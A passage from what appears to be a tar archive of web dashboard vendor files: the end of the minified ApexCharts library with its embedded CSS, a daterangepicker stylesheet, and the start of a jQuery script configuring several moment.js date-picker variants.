border-bottom-color: #ffffff\n}\n\n.apexcharts-xaxistooltip-bottom:before {\n  border-bottom-color: #90a4ae\n}\n\n.apexcharts-xaxistooltip-bottom.apexcharts-theme-dark:after,.apexcharts-xaxistooltip-bottom.apexcharts-theme-dark:before {\n  border-bottom-color: rgba(0,0,0,.5)\n}\n\n.apexcharts-xaxistooltip-top:after {\n  border-top-color: #ffffff\n}\n\n.apexcharts-xaxistooltip-top:before {\n  border-top-color: #90a4ae\n}\n\n.apexcharts-xaxistooltip-top.apexcharts-theme-dark:after,.apexcharts-xaxistooltip-top.apexcharts-theme-dark:before {\n  border-top-color: rgba(0,0,0,.5)\n}\n\n.apexcharts-xaxistooltip.apexcharts-active {\n  opacity: 1;\n  transition: .15s ease all\n}\n\n.apexcharts-yaxistooltip {\n  padding: 4px 10px\n}\n\n.apexcharts-yaxistooltip.apexcharts-theme-dark {\n  background: rgba(0,0,0,.7);\n  border: 1px solid rgba(0,0,0,.5);\n  color: #fff\n}\n\n.apexcharts-yaxistooltip:after,.apexcharts-yaxistooltip:before {\n  top: 50%;\n  border: solid transparent;\n  content: " ";\n  height: 0;\n  width: 0;\n  position: absolute;\n  pointer-events: none\n}\n\n.apexcharts-yaxistooltip:after {\n  border-color: transparent;\n  border-width: 6px;\n  margin-top: -6px\n}\n\n.apexcharts-yaxistooltip:before {\n  border-color: transparent;\n  border-width: 7px;\n  margin-top: -7px\n}\n\n.apexcharts-yaxistooltip-left:after,.apexcharts-yaxistooltip-left:before {\n  left: 100%\n}\n\n.apexcharts-yaxistooltip-right:after,.apexcharts-yaxistooltip-right:before {\n  right: 100%\n}\n\n.apexcharts-yaxistooltip-left:after {\n  border-left-color: #ffffff\n}\n\n.apexcharts-yaxistooltip-left:before {\n  border-left-color: #90a4ae\n}\n\n.apexcharts-yaxistooltip-left.apexcharts-theme-dark:after,.apexcharts-yaxistooltip-left.apexcharts-theme-dark:before {\n  border-left-color: rgba(0,0,0,.5)\n}\n\n.apexcharts-yaxistooltip-right:after {\n  border-right-color: #ffffff\n}\n\n.apexcharts-yaxistooltip-right:before {\n  border-right-color: #90a4ae\n}\n\n.apexcharts-yaxistooltip-right.apexcharts-theme-dark:after,.apexcharts-yaxistooltip-right.apexcharts-theme-dark:before {\n  border-right-color: rgba(0,0,0,.5)\n}\n\n.apexcharts-yaxistooltip.apexcharts-active {\n  opacity: 1\n}\n\n.apexcharts-yaxistooltip-hidden {\n  display: none\n}\n\n.apexcharts-xcrosshairs,.apexcharts-ycrosshairs {\n  pointer-events: none;\n  opacity: 0;\n  transition: .15s ease all\n}\n\n.apexcharts-xcrosshairs.apexcharts-active,.apexcharts-ycrosshairs.apexcharts-active {\n  opacity: 1;\n  transition: .15s ease all\n}\n\n.apexcharts-ycrosshairs-hidden {\n  opacity: 0\n}\n\n.apexcharts-selection-rect {\n  cursor: move\n}\n\n.svg_select_boundingRect,.svg_select_points_rot {\n  pointer-events: none;\n  opacity: 0;\n  visibility: hidden\n}\n\n.apexcharts-selection-rect+g .svg_select_boundingRect,.apexcharts-selection-rect+g .svg_select_points_rot {\n  opacity: 0;\n  visibility: hidden\n}\n\n.apexcharts-selection-rect+g .svg_select_points_l,.apexcharts-selection-rect+g .svg_select_points_r {\n  cursor: ew-resize;\n  opacity: 1;\n  visibility: visible\n}\n\n.svg_select_points {\n  fill: #efefef;\n  stroke: #333;\n  rx: 2\n}\n\n.apexcharts-svg.apexcharts-zoomable.hovering-zoom {\n  cursor: crosshair\n}\n\n.apexcharts-svg.apexcharts-zoomable.hovering-pan {\n  cursor: move\n}\n\n.apexcharts-menu-icon,.apexcharts-pan-icon,.apexcharts-reset-icon,.apexcharts-selection-icon,.apexcharts-toolbar-custom-icon,.apexcharts-zoom-icon,.apexcharts-zoomin-icon,.apexcharts-zoomout-icon {\n  cursor: pointer;\n  width: 20px;\n  height: 20px;\n  line-height: 24px;\n  color: #6e8192;\n  text-align: center\n}\n\n.apexcharts-menu-icon svg,.apexcharts-reset-icon svg,.apexcharts-zoom-icon svg,.apexcharts-zoomin-icon svg,.apexcharts-zoomout-icon svg {\n  fill: #6e8192\n}\n\n.apexcharts-selection-icon svg {\n  fill: #444;\n  transform: scale(.76)\n}\n\n.apexcharts-theme-dark .apexcharts-menu-icon svg,.apexcharts-theme-dark .apexcharts-pan-icon svg,.apexcharts-theme-dark .apexcharts-reset-icon svg,.apexcharts-theme-dark .apexcharts-selection-icon svg,.apexcharts-theme-dark .apexcharts-toolbar-custom-icon svg,.apexcharts-theme-dark .apexcharts-zoom-icon svg,.apexcharts-theme-dark .apexcharts-zoomin-icon svg,.apexcharts-theme-dark .apexcharts-zoomout-icon svg {\n  fill: #f3f4f5\n}\n\n.apexcharts-canvas .apexcharts-reset-zoom-icon.apexcharts-selected svg,.apexcharts-canvas .apexcharts-selection-icon.apexcharts-selected svg,.apexcharts-canvas .apexcharts-zoom-icon.apexcharts-selected svg {\n  fill: #008ffb\n}\n\n.apexcharts-theme-light .apexcharts-menu-icon:hover svg,.apexcharts-theme-light .apexcharts-reset-icon:hover svg,.apexcharts-theme-light .apexcharts-selection-icon:not(.apexcharts-selected):hover svg,.apexcharts-theme-light .apexcharts-zoom-icon:not(.apexcharts-selected):hover svg,.apexcharts-theme-light .apexcharts-zoomin-icon:hover svg,.apexcharts-theme-light .apexcharts-zoomout-icon:hover svg {\n  fill: #333\n}\n\n.apexcharts-menu-icon,.apexcharts-selection-icon {\n  position: relative\n}\n\n.apexcharts-reset-icon {\n  margin-left: 5px\n}\n\n.apexcharts-menu-icon,.apexcharts-reset-icon,.apexcharts-zoom-icon {\n  transform: scale(.85)\n}\n\n.apexcharts-zoomin-icon,.apexcharts-zoomout-icon {\n  transform: scale(.7)\n}\n\n.apexcharts-zoomout-icon {\n  margin-right: 3px\n}\n\n.apexcharts-pan-icon {\n  transform: scale(.62);\n  position: relative;\n  left: 1px;\n  top: 0\n}\n\n.apexcharts-pan-icon svg {\n  fill: #fff;\n  stroke: #6e8192;\n  stroke-width: 2\n}\n\n.apexcharts-pan-icon.apexcharts-selected svg {\n  stroke: #008ffb\n}\n\n.apexcharts-pan-icon:not(.apexcharts-selected):hover svg {\n  stroke: #333\n}\n\n.apexcharts-toolbar {\n  position: absolute;\n  z-index: 11;\n  max-width: 176px;\n  text-align: right;\n  border-radius: 3px;\n  padding: 0 6px 2px;\n  display: flex;\n  justify-content: space-between;\n  align-items: center\n}\n\n.apexcharts-menu {\n  background: #fff;\n  position: absolute;\n  top: 100%;\n  border: 1px solid #ddd;\n  border-radius: 3px;\n  padding: 3px;\n  right: 10px;\n  opacity: 0;\n  min-width: 110px;\n  transition: .15s ease all;\n  pointer-events: none\n}\n\n.apexcharts-menu.apexcharts-menu-open {\n  opacity: 1;\n  pointer-events: all;\n  transition: .15s ease all\n}\n\n.apexcharts-menu-item {\n  padding: 6px 7px;\n  font-size: 12px;\n  cursor: pointer\n}\n\n.apexcharts-theme-light .apexcharts-menu-item:hover {\n  background: #eee\n}\n\n.apexcharts-theme-dark .apexcharts-menu {\n  background: rgba(0,0,0,.7);\n  color: #fff\n}\n\n@media screen and (min-width:768px) {\n  .apexcharts-canvas:hover .apexcharts-toolbar {\n      opacity: 1\n  }\n}\n\n.apexcharts-canvas .apexcharts-element-hidden,.apexcharts-datalabel.apexcharts-element-hidden,.apexcharts-hide .apexcharts-series-points {\n  opacity: 0\n}\n\n.apexcharts-hidden-element-shown {\n  opacity: 1;\n  transition: 0.25s ease all;\n}\n.apexcharts-datalabel,.apexcharts-datalabel-label,.apexcharts-datalabel-value,.apexcharts-datalabels,.apexcharts-pie-label {\n  cursor: default;\n  pointer-events: none\n;\n  filter: none\n}\n\n.apexcharts-pie-label-delay {\n  opacity: 0;\n  animation-name: opaque;\n  animation-duration: .3s;\n  animation-fill-mode: forwards;\n  animation-timing-function: ease\n}\n\n.apexcharts-annotation-rect,.apexcharts-area-series .apexcharts-area,.apexcharts-area-series .apexcharts-series-markers .apexcharts-marker.no-pointer-events,.apexcharts-gridline,.apexcharts-line,.apexcharts-line-series .apexcharts-series-markers .apexcharts-marker.no-pointer-events,.apexcharts-point-annotation-label,.apexcharts-radar-series path,.apexcharts-radar-series polygon,.apexcharts-toolbar svg,.apexcharts-tooltip .apexcharts-marker,.apexcharts-xaxis-annotation-label,.apexcharts-yaxis-annotation-label,.apexcharts-zoom-rect {\n  pointer-events: none\n}\n\n.apexcharts-marker {\n  transition: .15s ease all\n}\n\n.resize-triggers {\n  animation: 1ms resizeanim;\n  visibility: hidden;\n  opacity: 0;\n  height: 100%;\n  width: 100%;\n  overflow: hidden\n}\n\n.contract-trigger:before,.resize-triggers,.resize-triggers>div {\n  content: " ";\n  display: block;\n  position: absolute;\n  top: 0;\n  left: 0\n}\n\n.resize-triggers>div {\n  height: 100%;\n  width: 100%;\n  background: #eee;\n  overflow: auto\n}\n\n.contract-trigger:before {\n  overflow: hidden;\n  width: 200%;\n  height: 200%\n}\n',r?s.prepend(t.css):o.head.appendChild(t.css))}var l=t.create(t.w.config.series,{});if(!l)return e(t);t.mount(l).then((function(){"function"==typeof t.w.config.chart.events.mounted&&t.w.config.chart.events.mounted(t,t.w),t.events.fireEvent("mounted",[t,t.w]),e(l)})).catch((function(t){i(t)}))}else i(new Error("Element not found"))}))}},{key:"create",value:function(t,e){var i=this.w;new Ot(this).initModules();var a=this.w.globals;(a.noData=!1,a.animationEnded=!1,this.responsive.checkResponsiveConfig(e),i.config.xaxis.convertedCatToNumeric)&&new z(i.config).convertCatToNumericXaxis(i.config,this.ctx);if(null===this.el)return a.animationEnded=!0,null;if(this.core.setupElements(),"treemap"===i.config.chart.type&&(i.config.grid.show=!1,i.config.yaxis[0].show=!1),0===a.svgWidth)return a.animationEnded=!0,null;var s=y.checkComboSeries(t);a.comboCharts=s.comboCharts,a.comboBarCount=s.comboBarCount;var r=t.every((function(t){return t.data&&0===t.data.length}));(0===t.length||r)&&this.series.handleNoData(),this.events.setupEventHandlers(),this.data.parseData(t),this.theme.init(),new H(this).setGlobalMarkerSize(),this.formatters.setLabelFormatters(),this.titleSubtitle.draw(),a.noData&&a.collapsedSeries.length!==a.series.length&&!i.config.legend.showForSingleSeries||this.legend.init(),this.series.hasAllSeriesEqualX(),a.axisCharts&&(this.core.coreCalculations(),"category"!==i.config.xaxis.type&&this.formatters.setLabelFormatters(),this.ctx.toolbar.minX=i.globals.minX,this.ctx.toolbar.maxX=i.globals.maxX),this.formatters.heatmapLabelFormatters(),new y(this).getLargestMarkerSize(),this.dimensions.plotCoords();var o=this.core.xySettings();this.grid.createGridMask();var n=this.core.plotChartType(t,o),l=new O(this);return l.bringForward(),i.config.dataLabels.background.enabled&&l.dataLabelsBackground(),this.core.shiftGraphPosition(),{elGraph:n,xyRatios:o,dimensions:{plot:{left:i.globals.translateX,top:i.globals.translateY,width:i.globals.gridWidth,height:i.globals.gridHeight}}}}},{key:"mount",value:function(){var t=this,e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,i=this,a=i.w;return new Promise((function(s,r){if(null===i.el)return r(new Error("Not enough data to display or target element not found"));(null===e||a.globals.allSeriesCollapsed)&&i.series.handleNoData(),i.grid=new j(i);var o=i.grid.drawGrid();if(i.annotations=new P(i),i.annotations.drawImageAnnos(),i.annotations.drawTextAnnos(),"back"===a.config.grid.position&&o&&a.globals.dom.elGraphical.add(o.el),Array.isArray(e.elGraph))for(var n=0;n<e.elGraph.length;n++)a.globals.dom.elGraphical.add(e.elGraph[n]);else a.globals.dom.elGraphical.add(e.elGraph);"front"===a.config.grid.position&&o&&a.globals.dom.elGraphical.add(o.el),o&&o.elGridBorders&&o.elGridBorders.node&&a.globals.dom.elGraphical.add(o.elGridBorders),"front"===a.config.xaxis.crosshairs.position&&i.crosshairs.drawXCrosshairs(),"front"===a.config.yaxis[0].crosshairs.position&&i.crosshairs.drawYCrosshairs(),"treemap"!==a.config.chart.type&&i.axes.drawAxis(a.config.chart.type,o);var l=new V(t.ctx,o),h=new q(t.ctx,o);if(null!==o&&(l.xAxisLabelCorrections(o.xAxisTickWidth),h.setYAxisTextAlignments(),a.config.yaxis.map((function(t,e){-1===a.globals.ignoreYAxisIndexes.indexOf(e)&&h.yAxisTitleRotate(e,t.opposite)}))),i.annotations.drawAxesAnnotations(),!a.globals.noData){if(a.config.tooltip.enabled&&!a.globals.noData&&i.w.globals.tooltip.drawTooltip(e.xyRatios),a.globals.axisCharts&&(a.globals.isXNumeric||a.config.xaxis.convertedCatToNumeric||a.globals.isRangeBar))(a.config.chart.zoom.enabled||a.config.chart.selection&&a.config.chart.selection.enabled||a.config.chart.pan&&a.config.chart.pan.enabled)&&i.zoomPanSelection.init({xyRatios:e.xyRatios});else{var c=a.config.chart.toolbar.tools;["zoom","zoomin","zoomout","selection","pan","reset"].forEach((function(t){c[t]=!1}))}a.config.chart.toolbar.show&&!a.globals.allSeriesCollapsed&&i.toolbar.createToolbar()}a.globals.memory.methodsToExec.length>0&&a.globals.memory.methodsToExec.forEach((function(t){t.method(t.params,!1,t.context)})),a.globals.axisCharts||a.globals.noData||i.core.resizeNonAxisCharts(),s(i)}))}},{key:"destroy",value:function(){var t,e;window.removeEventListener("resize",this.windowResizeHandler),this.el.parentNode,t=this.parentResizeHandler,(e=Wt.get(t))&&(e.disconnect(),Wt.delete(t));var i=this.w.config.chart.id;i&&Apex._chartInstances.forEach((function(t,e){t.id===x.escapeString(i)&&Apex._chartInstances.splice(e,1)})),new Nt(this.ctx).clear({isUpdating:!1})}},{key:"updateOptions",value:function(t){var e=this,i=arguments.length>1&&void 0!==arguments[1]&&arguments[1],a=!(arguments.length>2&&void 0!==arguments[2])||arguments[2],s=!(arguments.length>3&&void 0!==arguments[3])||arguments[3],r=!(arguments.length>4&&void 0!==arguments[4])||arguments[4],o=this.w;return o.globals.selection=void 0,t.series&&(this.series.resetSeries(!1,!0,!1),t.series.length&&t.series[0].data&&(t.series=t.series.map((function(t,i){return e.updateHelpers._extendSeries(t,i)}))),this.updateHelpers.revertDefaultAxisMinMax()),t.xaxis&&(t=this.updateHelpers.forceXAxisUpdate(t)),t.yaxis&&(t=this.updateHelpers.forceYAxisUpdate(t)),o.globals.collapsedSeriesIndices.length>0&&this.series.clearPreviousPaths(),t.theme&&(t=this.theme.updateThemeOptions(t)),this.updateHelpers._updateOptions(t,i,a,s,r)}},{key:"updateSeries",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],e=!(arguments.length>1&&void 0!==arguments[1])||arguments[1],i=!(arguments.length>2&&void 0!==arguments[2])||arguments[2];return this.series.resetSeries(!1),this.updateHelpers.revertDefaultAxisMinMax(),this.updateHelpers._updateSeries(t,e,i)}},{key:"appendSeries",value:function(t){var e=!(arguments.length>1&&void 0!==arguments[1])||arguments[1],i=!(arguments.length>2&&void 0!==arguments[2])||arguments[2],a=this.w.config.series.slice();return a.push(t),this.series.resetSeries(!1),this.updateHelpers.revertDefaultAxisMinMax(),this.updateHelpers._updateSeries(a,e,i)}},{key:"appendData",value:function(t){var e=!(arguments.length>1&&void 0!==arguments[1])||arguments[1],i=this;i.w.globals.dataChanged=!0,i.series.getPreviousPaths();for(var a=i.w.config.series.slice(),s=0;s<a.length;s++)if(null!==t[s]&&void 0!==t[s])for(var r=0;r<t[s].data.length;r++)a[s].data.push(t[s].data[r]);return i.w.config.series=a,e&&(i.w.globals.initialSeries=x.clone(i.w.config.series)),this.update()}},{key:"update",value:function(t){var e=this;return new Promise((function(i,a){new Nt(e.ctx).clear({isUpdating:!0});var s=e.create(e.w.config.series,t);if(!s)return i(e);e.mount(s).then((function(){"function"==typeof e.w.config.chart.events.updated&&e.w.config.chart.events.updated(e,e.w),e.events.fireEvent("updated",[e,e.w]),e.w.globals.isDirty=!0,i(e)})).catch((function(t){a(t)}))}))}},{key:"getSyncedCharts",value:function(){var t=this.getGroupedCharts(),e=[this];return t.length&&(e=[],t.forEach((function(t){e.push(t)}))),e}},{key:"getGroupedCharts",value:function(){var t=this;return Apex._chartInstances.filter((function(t){if(t.group)return!0})).map((function(e){return t.w.config.chart.group===e.group?e.chart:t}))}},{key:"toggleSeries",value:function(t){return this.series.toggleSeries(t)}},{key:"highlightSeriesOnLegendHover",value:function(t,e){return this.series.toggleSeriesOnHover(t,e)}},{key:"showSeries",value:function(t){this.series.showSeries(t)}},{key:"hideSeries",value:function(t){this.series.hideSeries(t)}},{key:"resetSeries",value:function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0],e=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];this.series.resetSeries(t,e)}},{key:"addEventListener",value:function(t,e){this.events.addEventListener(t,e)}},{key:"removeEventListener",value:function(t,e){this.events.removeEventListener(t,e)}},{key:"addXaxisAnnotation",value:function(t){var e=!(arguments.length>1&&void 0!==arguments[1])||arguments[1],i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:void 0,a=this;i&&(a=i),a.annotations.addXaxisAnnotationExternal(t,e,a)}},{key:"addYaxisAnnotation",value:function(t){var e=!(arguments.length>1&&void 0!==arguments[1])||arguments[1],i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:void 0,a=this;i&&(a=i),a.annotations.addYaxisAnnotationExternal(t,e,a)}},{key:"addPointAnnotation",value:function(t){var e=!(arguments.length>1&&void 0!==arguments[1])||arguments[1],i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:void 0,a=this;i&&(a=i),a.annotations.addPointAnnotationExternal(t,e,a)}},{key:"clearAnnotations",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:void 0,e=this;t&&(e=t),e.annotations.clearAnnotations(e)}},{key:"removeAnnotation",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:void 0,i=this;e&&(i=e),i.annotations.removeAnnotation(i,t)}},{key:"getChartArea",value:function(){return this.w.globals.dom.baseEl.querySelector(".apexcharts-inner")}},{key:"getSeriesTotalXRange",value:function(t,e){return this.coreUtils.getSeriesTotalsXRange(t,e)}},{key:"getHighestValueInSeries",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;return new U(this.ctx).getMinYMaxY(t).highestY}},{key:"getLowestValueInSeries",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;return new U(this.ctx).getMinYMaxY(t).lowestY}},{key:"getSeriesTotal",value:function(){return this.w.globals.seriesTotals}},{key:"toggleDataPointSelection",value:function(t,e){return this.updateHelpers.toggleDataPointSelection(t,e)}},{key:"zoomX",value:function(t,e){this.ctx.toolbar.zoomUpdateOptions(t,e)}},{key:"setLocale",value:function(t){this.localization.setCurrentLocaleValues(t)}},{key:"dataURI",value:function(t){return new G(this.ctx).dataURI(t)}},{key:"exportToCSV",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return new G(this.ctx).exportToCSV(t)}},{key:"paper",value:function(){return this.w.globals.dom.Paper}},{key:"_parentResizeCallback",value:function(){this.w.globals.animationEnded&&this.w.config.chart.redrawOnParentResize&&this._windowResize()}},{key:"_windowResize",value:function(){var t=this;clearTimeout(this.w.globals.resizeTimer),this.w.globals.resizeTimer=window.setTimeout((function(){t.w.globals.resized=!0,t.w.globals.dataChanged=!1,t.ctx.update()}),150)}},{key:"_windowResizeHandler",value:function(){var t=this.w.config.chart.redrawOnWindowResize;"function"==typeof t&&(t=t()),t&&this._windowResize()}}],[{key:"getChartByID",value:function(t){var e=x.escapeString(t),i=Apex._chartInstances.filter((function(t){return t.id===e}))[0];return i&&i.chart}},{key:"initOnLoad",value:function(){for(var e=document.querySelectorAll("[data-apexcharts]"),i=0;i<e.length;i++){new t(e[i],JSON.parse(e[i].getAttribute("data-options"))).render()}}},{key:"exec",value:function(t,e){var i=this.getChartByID(t);if(i){i.w.globals.isExecCalled=!0;var a=null;if(-1!==i.publicMethods.indexOf(e)){for(var s=arguments.length,r=new Array(s>2?s-2:0),o=2;o<s;o++)r[o-2]=arguments[o];a=i[e].apply(i,r)}return a}}},{key:"merge",value:function(t,e){return x.extend(t,e)}}]),t}();return Bt}));
vendor/daterange/daterange.css000066600000017571151150442740012461 0ustar00.daterangepicker {
	position: absolute;
	color: inherit;
	background-color: #ffffff;
	border-radius: 4px;
	width: 280px;
	max-width: none;
	padding: 0;
	margin-top: 0;
	top: 100px;
	left: 20px;
	z-index: 3001;
	display: none;
	font-size: 0.9rem;
	line-height: 1em;
	box-shadow: 20px 30px 30px rgba(0, 0, 0, 0.2);
}

.daterangepicker:after {
	position: absolute;
	display: inline-block;
	border-bottom-color: rgba(0, 0, 0, 0.2);
	content: "";
	top: -9px;
	border-right: 9px solid transparent;
	border-bottom: 9px solid #ffffff;
	border-left: 9px solid transparent;
}

.daterangepicker.opensleft:before {
	right: 9px;
}

.daterangepicker.opensleft:after {
	right: 10px;
}

.daterangepicker.openscenter:before {
	left: 0;
	right: 0;
	width: 0;
	margin-left: auto;
	margin-right: auto;
}

.daterangepicker.openscenter:after {
	left: 0;
	right: 0;
	width: 0;
	margin-left: auto;
	margin-right: auto;
}

.daterangepicker.opensright:before {
	left: 9px;
}

.daterangepicker.opensright:after {
	left: 10px;
}

.daterangepicker.drop-up {
	margin-top: -7px;
}

.daterangepicker.drop-up:before {
	top: initial;
	bottom: -7px;
	border-bottom: initial;
	border-top: 7px solid #ccc;
}

.daterangepicker.drop-up:after {
	top: initial;
	bottom: -6px;
	border-bottom: initial;
	border-top: 6px solid #ffffff;
}

.daterangepicker.single .daterangepicker .ranges,
.daterangepicker.single .drp-calendar {
	float: none;
}

.daterangepicker.single .drp-selected {
	display: none;
}

.daterangepicker.show-calendar .drp-calendar {
	display: block;
}

.daterangepicker.show-calendar .drp-buttons {
	display: block;
}

.daterangepicker.auto-apply .drp-buttons {
	display: none;
}

.daterangepicker .drp-calendar {
	display: none;
	max-width: 270px;
}

.daterangepicker .drp-calendar.left {
	padding: 8px 0 8px 8px;
}

.daterangepicker .drp-calendar.right {
	padding: 8px;
}

.daterangepicker .drp-calendar.single .calendar-table {
	border: none;
}

.daterangepicker .calendar-table .next span,
.daterangepicker .calendar-table .prev span {
	color: #ffffff;
	border: solid black;
	border-width: 0 2px 2px 0;
	border-radius: 0;
	display: inline-block;
	padding: 6px;
	vertical-align: middle;
	margin-right: 7px;
}

.daterangepicker .calendar-table .next span {
	transform: rotate(-45deg);
	-webkit-transform: rotate(-45deg);
}

.daterangepicker .calendar-table .prev span {
	transform: rotate(135deg);
	-webkit-transform: rotate(135deg);
	margin-left: 7px;
	margin-right: 0;
}

.daterangepicker .calendar-table th,
.daterangepicker .calendar-table td {
	white-space: nowrap;
	text-align: center;
	vertical-align: middle;
	min-width: 32px;
	width: 32px;
	height: 24px;
	line-height: 22px;
	font-size: 12px;
	border-radius: 4px;
	padding: 5px;
	white-space: nowrap;
	cursor: pointer;
	color: #61657b;
}

.daterangepicker .calendar-table {
	border: 1px solid #ffffff;
	border-radius: 4px;
	background-color: #ffffff;
}

.daterangepicker .calendar-table table {
	width: 100%;
	margin: 0;
	border-spacing: 0;
	border-collapse: collapse;
}

.daterangepicker td.available:hover,
.daterangepicker th.available:hover {
	background-color: #f1ecf7;
	color: inherit;
}

.daterangepicker td.week,
.daterangepicker th.week {
	font-size: 80%;
	color: #ccc;
}

.daterangepicker td.off,
.daterangepicker td.off.in-range,
.daterangepicker td.off.start-date,
.daterangepicker td.off.end-date {
	background-color: #ffffff;
	border-color: transparent;
	color: #999999;
}

.daterangepicker td.in-range {
	background-color: #f1ecf7;
	color: #000;
	border-radius: 0;
}

.daterangepicker td.start-date {
	border-radius: 4px 0 0 4px;
}

.daterangepicker td.end-date {
	border-radius: 0 4px 4px 0;
}

.daterangepicker td.start-date.end-date {
	border-radius: 4px;
}

.daterangepicker td.active,
.daterangepicker td.active:hover {
	background-color: #5b4fb9;
	color: #ffffff;
}

.daterangepicker th.month {
	width: auto;
}

.daterangepicker td.disabled,
.daterangepicker option.disabled {
	color: #999999;
	cursor: not-allowed;
	text-decoration: line-through;
}

.daterangepicker select.monthselect,
.daterangepicker select.yearselect {
	font-size: 12px;
	padding: 1px;
	height: auto;
	margin: 0;
	cursor: default;
}

.daterangepicker select.monthselect {
	margin-right: 2%;
	width: 56%;
}

.daterangepicker select.yearselect {
	width: 40%;
}

.daterangepicker select.hourselect,
.daterangepicker select.minuteselect,
.daterangepicker select.secondselect,
.daterangepicker select.ampmselect {
	width: 50px;
	margin: 0 auto;
	background: #f1ecf7;
	border: 1px solid #e1d7ed;
	padding: 2px;
	outline: 0;
	font-size: 12px;
}

.daterangepicker .calendar-time {
	text-align: center;
	margin: 4px auto 0 auto;
	line-height: 30px;
	position: relative;
}

.daterangepicker .calendar-time select.disabled {
	color: #ccc;
	cursor: not-allowed;
}

.daterangepicker .drp-buttons {
	clear: both;
	text-align: right;
	padding: 8px;
	display: none;
	line-height: 12px;
	vertical-align: middle;
	background: #ffffff;
	border-top: 1px solid #f1ecf7;
	border-radius: 0 0 4px 4px;
}

.daterangepicker .drp-selected {
	display: inline-block;
	font-size: 12px;
	padding-right: 8px;
}
@media (max-width: 767px) {
	.daterangepicker .drp-selected {
		margin: 0 0 10px 0;
		padding: 0;
		display: block;
		text-align: center;
	}
}

.daterangepicker .drp-buttons .btn {
	margin-left: 8px;
	font-size: 0.7rem;
	padding: 0.2rem 1rem;
	border-radius: 50px;
}

.daterangepicker.show-ranges .drp-calendar.left {
	border-left: 1px solid #f1f1f1;
}

.daterangepicker .ranges {
	float: none;
	text-align: left;
	margin: 10px 0;
}

.daterangepicker.show-calendar .ranges {
	margin-top: 8px;
}

.daterangepicker .ranges ul {
	list-style: none;
	margin: 0 auto;
	padding: 0;
	width: 100%;
}

.daterangepicker .ranges li {
	font-size: 0.7rem;
	padding: 0.5rem 1rem;
	cursor: pointer;
	transition: all 0.2s ease-in;
}

.daterangepicker .ranges li:hover {
	background-color: #f1ecf7;
}

.daterangepicker .ranges li.active {
	background: #5b4fb9;
	color: #ffffff;
}

/*  Larger Screen Styling */
@media (min-width: 564px) {
	.daterangepicker {
		width: auto;
	}
	.daterangepicker .ranges ul {
		width: 140px;
	}
	.daterangepicker.single .ranges ul {
		width: 100%;
	}
	.daterangepicker.single .drp-calendar.left {
		clear: none;
	}
	.daterangepicker.single.ltr .ranges,
	.daterangepicker.single.ltr .drp-calendar {
		float: left;
	}
	.daterangepicker.single.rtl .ranges,
	.daterangepicker.single.rtl .drp-calendar {
		float: right;
	}
	.daterangepicker.ltr {
		direction: ltr;
		text-align: left;
	}
	.daterangepicker.ltr .drp-calendar.left {
		clear: left;
		margin-right: 0;
	}
	.daterangepicker.ltr .drp-calendar.left .calendar-table {
		border-right: none;
		border-top-right-radius: 0;
		border-bottom-right-radius: 0;
	}
	.daterangepicker.ltr .drp-calendar.right {
		margin-left: 0;
	}
	.daterangepicker.ltr .drp-calendar.right .calendar-table {
		border-left: none;
		border-top-left-radius: 0;
		border-bottom-left-radius: 0;
	}
	.daterangepicker.ltr .drp-calendar.left .calendar-table {
		padding-right: 8px;
	}
	.daterangepicker.ltr .ranges,
	.daterangepicker.ltr .drp-calendar {
		float: left;
	}
	.daterangepicker.rtl {
		direction: rtl;
		text-align: right;
	}
	.daterangepicker.rtl .drp-calendar.left {
		clear: right;
		margin-left: 0;
	}
	.daterangepicker.rtl .drp-calendar.left .calendar-table {
		border-left: none;
		border-top-left-radius: 0;
		border-bottom-left-radius: 0;
	}
	.daterangepicker.rtl .drp-calendar.right {
		margin-right: 0;
	}
	.daterangepicker.rtl .drp-calendar.right .calendar-table {
		border-right: none;
		border-top-right-radius: 0;
		border-bottom-right-radius: 0;
	}
	.daterangepicker.rtl .drp-calendar.left .calendar-table {
		padding-left: 12px;
	}
	.daterangepicker.rtl .ranges,
	.daterangepicker.rtl .drp-calendar {
		text-align: right;
		float: right;
	}
}

@media (min-width: 730px) {
	.daterangepicker .ranges {
		width: auto;
	}
	.daterangepicker.ltr .ranges {
		float: left;
	}
	.daterangepicker.rtl .ranges {
		float: right;
	}
	.daterangepicker .drp-calendar.left {
		clear: none !important;
	}
}
vendor/daterange/custom-daterange.js000066600000012611151150442740013603 0ustar00// Date Range
$(".datepicker").daterangepicker({
	singleDatePicker: true,
	startDate: moment().startOf("hour"),
	endDate: moment().startOf("hour").add(32, "hour"),
	locale: {
		format: "DD/MM/YYYY",
	},
});

// Date Range Opens Left
$(".datepicker-opens-left").daterangepicker({
	singleDatePicker: true,
	opens: "left",
	startDate: moment().startOf("hour"),
	endDate: moment().startOf("hour").add(32, "hour"),
	locale: {
		format: "DD/MM/YYYY",
	},
});

$(".datepicker-week-numbers").daterangepicker({
	singleDatePicker: true,
	showWeekNumbers: true,
	startDate: moment().startOf("hour"),
	endDate: moment().startOf("hour").add(32, "hour"),
	locale: {
		format: "DD/MM/YYYY",
	},
});

$(".datepicker-iso-week-numbers").daterangepicker({
	singleDatePicker: true,
	showISOWeekNumbers: true,
	startDate: moment().startOf("hour"),
	endDate: moment().startOf("hour").add(32, "hour"),
	locale: {
		format: "DD/MM/YYYY",
	},
});

$(".datepicker-time").daterangepicker({
	singleDatePicker: true,
	timePicker: true,
	startDate: moment().startOf("hour"),
	endDate: moment().startOf("hour").add(32, "hour"),
	locale: {
		format: "DD/MM/YYYY hh:mm A",
	},
});

$(".datepicker-time-24").daterangepicker({
	drops: "up",
	singleDatePicker: true,
	timePicker: true,
	timePicker24Hour: true,
	startDate: moment().startOf("hour"),
	endDate: moment().startOf("hour").add(32, "hour"),
	locale: {
		format: "DD/MM/YYYY hh:mm A",
	},
});

$(".datepicker-time-seconds").daterangepicker({
	drops: "up",
	singleDatePicker: true,
	timePicker: true,
	timePicker24Hour: true,
	startDate: moment().startOf("hour"),
